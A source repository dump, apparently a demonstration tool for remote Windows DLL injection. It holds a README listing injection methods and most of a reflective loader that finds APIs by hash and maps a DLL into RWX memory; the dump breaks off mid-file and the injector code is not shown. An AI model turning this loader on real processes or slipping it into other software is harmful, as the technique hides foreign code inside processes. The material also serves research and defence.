├── .gitignore ├── LICENSE.txt ├── Readme.md ├── dll ├── reflective_dll.vcxproj ├── reflective_dll.vcxproj.filters └── src │ ├── ReflectiveDLLInjection.h │ ├── ReflectiveDll.c │ ├── ReflectiveLoader.c │ └── ReflectiveLoader.h ├── inject ├── inject.vcxproj ├── inject.vcxproj.filters └── src │ ├── GetProcAddressR.c │ ├── GetProcAddressR.h │ ├── Inject.cpp │ ├── InjectType.h │ ├── LoadLibraryR.cpp │ ├── LoadLibraryR.h │ ├── LoaderType.h │ └── ReflectiveDLLInjection.h ├── rdi.sln └── script └── inject_to_all.py /.gitignore: -------------------------------------------------------------------------------- 1 | /bin 2 | /obj 3 | *.vcxproj.user 4 | /*.ncb 5 | /*.sdf 6 | /*.opensdf 7 | /*.suo 8 | /*.opendb 9 | /*.VC.db 10 | /.vs -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, are permitted 5 | provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this list of 8 | conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, this list of 11 | conditions and the following disclaimer in the documentation and/or other materials provided 12 | with the distribution. 13 | 14 | * Neither the name of Harmony Security nor the names of its contributors may be used to 15 | endorse or promote products derived from this software without specific prior written permission. 16 | 17 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 18 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 19 | FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 20 | CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 22 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 23 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 24 | OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 25 | POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | # About 2 | 3 | This tool demonstrates various remote dll injection methods. 4 | 5 | # Usage 6 | 7 | Usage: `inject [dll_file] [CRT|STC|QUA|NQAT|NQATE] [R|LW|LA]` 8 | 9 | #### Injection types 10 | * CRT - CreateRemoteThread injection (default) 11 | * STC - SetThreadContext injection 12 | * QUA - QueueUserApc injection 13 | * NQAT - NtQueueApcThread injection 14 | * NQATE - NtQueueApcThreadEx injection 15 | 16 | #### Loader types 17 | * R - Reflective loader (default) 18 | * LW - LoadLibraryW loader 19 | * LA - LoadLibraryA loader 20 | 21 | # Build 22 | 23 | Use Visual Studio 2015 to build the solution. 24 | 25 | License 26 | ======= 27 | 28 | Licensed under a 3 clause BSD license, please see LICENSE.txt for details. 29 | -------------------------------------------------------------------------------- /dll/reflective_dll.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Debug 10 | x64 11 | 12 | 13 | Release 14 | Win32 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949} 23 | reflective_dll 24 | Win32Proj 25 | 8.1 26 | 27 | 28 | 29 | DynamicLibrary 30 | v140 31 | MultiByte 32 | true 33 | 34 | 35 | DynamicLibrary 36 | v140 37 | MultiByte 38 | 39 | 40 | DynamicLibrary 41 | v140 42 | MultiByte 43 | true 44 | 45 | 46 | DynamicLibrary 47 | v140 48 | MultiByte 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | <_ProjectFileVersion>11.0.50727.1 68 | 69 | 70 | ../bin/$(Platform)-$(Configuration)/ 71 | ../obj/$(Platform)-$(Configuration)/$(ProjectName)/ 72 | false 73 | 74 | 75 | ../bin/$(Platform)-$(Configuration)/ 76 | ../obj/$(Platform)-$(Configuration)/$(ProjectName)/ 77 | false 78 | 79 | 80 | ../bin/$(Platform)-$(Configuration)/ 81 | ../obj/$(Platform)-$(Configuration)/$(ProjectName)/ 82 | false 83 | 84 | 85 | ../bin/$(Platform)-$(Configuration)/ 86 | ../obj/$(Platform)-$(Configuration)/$(ProjectName)/ 87 | false 88 | 89 | 90 | 91 | Disabled 92 | WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 93 | false 94 | EnableFastChecks 95 | MultiThreadedDebugDLL 96 | 97 | Level3 98 | ProgramDatabase 99 | true 100 | 101 | 102 | true 103 | Windows 104 | MachineX86 105 | 106 | 107 | 108 | 109 | X64 110 | 111 | 112 | Disabled 113 | WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 114 | false 115 | EnableFastChecks 116 | MultiThreadedDebugDLL 117 | 118 | Level3 119 | ProgramDatabase 120 | true 121 | 122 | 123 | true 124 | Windows 125 | MachineX64 126 | 127 | 128 | 129 | 130 | MaxSpeed 131 | OnlyExplicitInline 132 | true 133 | WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 134 | MultiThreaded 135 | true 136 | 137 | Level3 138 | ProgramDatabase 139 | true 140 | 141 | 142 | true 143 | Windows 144 | true 145 | true 146 | MachineX86 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | X64 156 | 157 | 158 | MaxSpeed 159 | OnlyExplicitInline 160 | true 161 | Size 162 | true 163 | WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 164 | MultiThreaded 165 | true 166 | 167 | Level3 168 | ProgramDatabase 169 | CompileAsCpp 170 | true 171 | 172 | 173 | true 174 | Windows 175 | true 176 | true 177 | MachineX64 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | -------------------------------------------------------------------------------- /dll/reflective_dll.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | 14 | 15 | Source Files 16 | 17 | 18 | Source Files 19 | 20 | 21 | 22 | 23 | Header Files 24 | 25 | 26 | Header Files 27 | 28 | 29 | -------------------------------------------------------------------------------- /dll/src/ReflectiveDLLInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_QUERY_HMODULE 6 37 | 38 | #define DEREF( name )*(UINT_PTR *)(name) 39 | #define DEREF_64( name )*(DWORD64 *)(name) 40 | #define DEREF_32( name )*(DWORD *)(name) 41 | #define DEREF_16( name )*(WORD *)(name) 42 | #define DEREF_8( name )*(BYTE *)(name) 43 | 44 | typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); 45 | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); 46 | 47 | #define DLLEXPORT __declspec( dllexport ) 48 | 49 | //===============================================================================================// 50 | #endif 51 | //===============================================================================================// 52 | -------------------------------------------------------------------------------- /dll/src/ReflectiveDll.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // This is a stub for the actuall functionality of the DLL. 3 | //===============================================================================================// 4 | #include "ReflectiveLoader.h" 5 | 6 | // Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are 7 | // defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own 8 | // DllMain and use the LoadRemoteLibraryR() API to inject this DLL. 9 | 10 | // You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c) 11 | extern HINSTANCE hAppInstance; 12 | //===============================================================================================// 13 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) 14 | { 15 | BOOL bReturnValue = TRUE; 16 | switch( dwReason ) 17 | { 18 | case DLL_QUERY_HMODULE: 19 | if( lpReserved != NULL ) 20 | *(HMODULE *)lpReserved = hAppInstance; 21 | break; 22 | case DLL_PROCESS_ATTACH: 23 | hAppInstance = hinstDLL; 24 | MessageBoxA(NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK); 25 | break; 26 | case DLL_PROCESS_DETACH: 27 | case DLL_THREAD_ATTACH: 28 | case DLL_THREAD_DETACH: 29 | break; 30 | } 31 | return bReturnValue; 32 | } -------------------------------------------------------------------------------- /dll/src/ReflectiveLoader.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "ReflectiveLoader.h" 29 | //===============================================================================================// 30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value 31 | HINSTANCE hAppInstance = NULL; 32 | //===============================================================================================// 33 | #pragma intrinsic( _ReturnAddress ) 34 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally 35 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 36 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 37 | // available (and no inline asm available under x64). 38 | __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } 39 | //===============================================================================================// 40 | 41 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, 42 | // otherwise the DllMain at the end of this file will be used. 43 | 44 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, 45 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub. 46 | 47 | // This is our position independent reflective DLL loader/injector 48 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 49 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) 50 | #else 51 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) 52 | #endif 53 | { 54 | // the functions we need 55 | LOADLIBRARYA pLoadLibraryA = NULL; 56 | GETPROCADDRESS pGetProcAddress = NULL; 57 | VIRTUALALLOC pVirtualAlloc = NULL; 58 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; 59 | 60 | USHORT usCounter; 61 | 62 | // the initial location of this image in memory 63 | ULONG_PTR uiLibraryAddress; 64 | // the kernels base address and later this images newly loaded base address 65 | ULONG_PTR uiBaseAddress; 66 | 67 | // variables for processing the kernels export table 68 | ULONG_PTR uiAddressArray; 69 | ULONG_PTR uiNameArray; 70 | ULONG_PTR uiExportDir; 71 | ULONG_PTR uiNameOrdinals; 72 | DWORD dwHashValue; 73 | 74 | // variables for loading this image 75 | ULONG_PTR uiHeaderValue; 76 | ULONG_PTR uiValueA; 77 | ULONG_PTR uiValueB; 78 | ULONG_PTR uiValueC; 79 | ULONG_PTR uiValueD; 80 | ULONG_PTR uiValueE; 81 | 82 | // STEP 0: calculate our images current base address 83 | 84 | // we will start searching backwards from our callers return address. 85 | uiLibraryAddress = caller(); 86 | 87 | // loop through memory backwards searching for our images base address 88 | // we dont need SEH style search as we shouldnt generate any access violations with this 89 | while( TRUE ) 90 | { 91 | if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) 92 | { 93 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 94 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), 95 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. 96 | if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) 97 | { 98 | uiHeaderValue += uiLibraryAddress; 99 | // break if we have found a valid MZ/PE header 100 | if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) 101 | break; 102 | } 103 | } 104 | uiLibraryAddress--; 105 | } 106 | 107 | // STEP 1: process the kernels exports for the functions our loader needs... 108 | 109 | // get the Process Enviroment Block 110 | #if _M_X64 111 | uiBaseAddress = __readgsqword( 0x60 ); 112 | #elif _M_IX86 113 | uiBaseAddress = __readfsdword( 0x30 ); 114 | #endif 115 | 116 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx 117 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; 118 | 119 | // get the first entry of the InMemoryOrder module list 120 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; 121 | while( uiValueA ) 122 | { 123 | // get pointer to current modules name (unicode string) 124 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; 125 | // set bCounter to the length for the loop 126 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; 127 | // clear uiValueC which will store the hash of the module name 128 | uiValueC = 0; 129 | 130 | // compute the hash of the module name... 131 | do 132 | { 133 | uiValueC = ror( (DWORD)uiValueC ); 134 | // normalize to uppercase if the madule name is in lowercase 135 | if( *((BYTE *)uiValueB) >= 'a' ) 136 | uiValueC += *((BYTE *)uiValueB) - 0x20; 137 | else 138 | uiValueC += *((BYTE *)uiValueB); 139 | uiValueB++; 140 | } while( --usCounter ); 141 | 142 | // compare the hash with that of kernel32.dll 143 | if( (DWORD)uiValueC == KERNEL32DLL_HASH ) 144 | { 145 | // get this modules base address 146 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 147 | 148 | // get the VA of the modules NT Header 149 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 150 | 151 | // uiNameArray = the address of the modules export directory entry 152 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 153 | 154 | // get the VA of the export directory 155 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 156 | 157 | // get the VA for the array of name pointers 158 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 159 | 160 | // get the VA for the array of name ordinals 161 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 162 | 163 | usCounter = 3; 164 | 165 | // loop while we still have imports to find 166 | while( usCounter > 0 ) 167 | { 168 | // compute the hash values for this function name 169 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 170 | 171 | // if we have found a function we want we get its virtual address 172 | if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) 173 | { 174 | // get the VA for the array of addresses 175 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 176 | 177 | // use this functions name ordinal as an index into the array of name pointers 178 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 179 | 180 | // store this functions VA 181 | if( dwHashValue == LOADLIBRARYA_HASH ) 182 | pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 183 | else if( dwHashValue == GETPROCADDRESS_HASH ) 184 | pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 185 | else if( dwHashValue == VIRTUALALLOC_HASH ) 186 | pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 187 | 188 | // decrement our counter 189 | usCounter--; 190 | } 191 | 192 | // get the next exported function name 193 | uiNameArray += sizeof(DWORD); 194 | 195 | // get the next exported function name ordinal 196 | uiNameOrdinals += sizeof(WORD); 197 | } 198 | } 199 | else if( (DWORD)uiValueC == NTDLLDLL_HASH ) 200 | { 201 | // get this modules base address 202 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 203 | 204 | // get the VA of the modules NT Header 205 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 206 | 207 | // uiNameArray = the address of the modules export directory entry 208 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 209 | 210 | // get the VA of the export directory 211 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 212 | 213 | // get the VA for the array of name pointers 214 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 215 | 216 | // get the VA for the array of name ordinals 217 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 218 | 219 | usCounter = 1; 220 | 221 | // loop while we still have imports to find 222 | while( usCounter > 0 ) 223 | { 224 | // compute the hash values for this function name 225 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 226 | 227 | // if we have found a function we want we get its virtual address 228 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 229 | { 230 | // get the VA for the array of addresses 231 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 232 | 233 | // use this functions name ordinal as an index into the array of name pointers 234 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 235 | 236 | // store this functions VA 237 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 238 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 239 | 240 | // decrement our counter 241 | usCounter--; 242 | } 243 | 244 | // get the next exported function name 245 | uiNameArray += sizeof(DWORD); 246 | 247 | // get the next exported function name ordinal 248 | uiNameOrdinals += sizeof(WORD); 249 | } 250 | } 251 | 252 | // we stop searching when we have found everything we need. 253 | if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) 254 | break; 255 | 256 | // get the next entry 257 | uiValueA = DEREF( uiValueA ); 258 | } 259 | 260 | // STEP 2: load our image into a new permanent location in memory... 261 | 262 | // get the VA of the NT Header for the PE to be loaded 263 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 264 | 265 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will 266 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. 267 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 268 | 269 | // we must now copy over the headers 270 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; 271 | uiValueB = uiLibraryAddress; 272 | uiValueC = uiBaseAddress; 273 | 274 | while( uiValueA-- ) 275 | *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; 276 | 277 | // STEP 3: load in all of our sections... 278 | 279 | // uiValueA = the VA of the first section 280 | uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); 281 | 282 | // itterate through all sections, loading them into memory. 283 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 284 | while( uiValueE-- ) 285 | { 286 | // uiValueB is the VA for this section 287 | uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); 288 | 289 | // uiValueC if the VA for this sections data 290 | uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); 291 | 292 | // copy the section over 293 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; 294 | 295 | while( uiValueD-- ) 296 | *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; 297 | 298 | // get the VA of the next section 299 | uiValueA += sizeof( IMAGE_SECTION_HEADER ); 300 | } 301 | 302 | // STEP 4: process our images import table... 303 | 304 | // uiValueB = the address of the import directory 305 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; 306 | 307 | // we assume their is an import table to process 308 | // uiValueC is the first entry in the import table 309 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 310 | 311 | // itterate through all imports 312 | while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) 313 | { 314 | // use LoadLibraryA to load the imported module into memory 315 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); 316 | 317 | // uiValueD = VA of the OriginalFirstThunk 318 | uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); 319 | 320 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) 321 | uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); 322 | 323 | // itterate through all imported functions, importing by ordinal if no name present 324 | while( DEREF(uiValueA) ) 325 | { 326 | // sanity check uiValueD as some compilers only import by FirstThunk 327 | if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) 328 | { 329 | // get the VA of the modules NT Header 330 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 331 | 332 | // uiNameArray = the address of the modules export directory entry 333 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 334 | 335 | // get the VA of the export directory 336 | uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 337 | 338 | // get the VA for the array of addresses 339 | uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 340 | 341 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 342 | uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); 343 | 344 | // patch in the address for this imported function 345 | DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); 346 | } 347 | else 348 | { 349 | // get the VA of this functions import by name struct 350 | uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); 351 | 352 | // use GetProcAddress and patch in the address for this imported function 353 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); 354 | } 355 | // get the next imported function 356 | uiValueA += sizeof( ULONG_PTR ); 357 | if( uiValueD ) 358 | uiValueD += sizeof( ULONG_PTR ); 359 | } 360 | 361 | // get the next import 362 | uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); 363 | } 364 | 365 | // STEP 5: process all of our images relocations... 366 | 367 | // calculate the base address delta and perform relocations (even if we load at desired image base) 368 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; 369 | 370 | // uiValueB = the address of the relocation directory 371 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; 372 | 373 | // check if their are any relocations present 374 | if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) 375 | { 376 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) 377 | uiValueC = ( 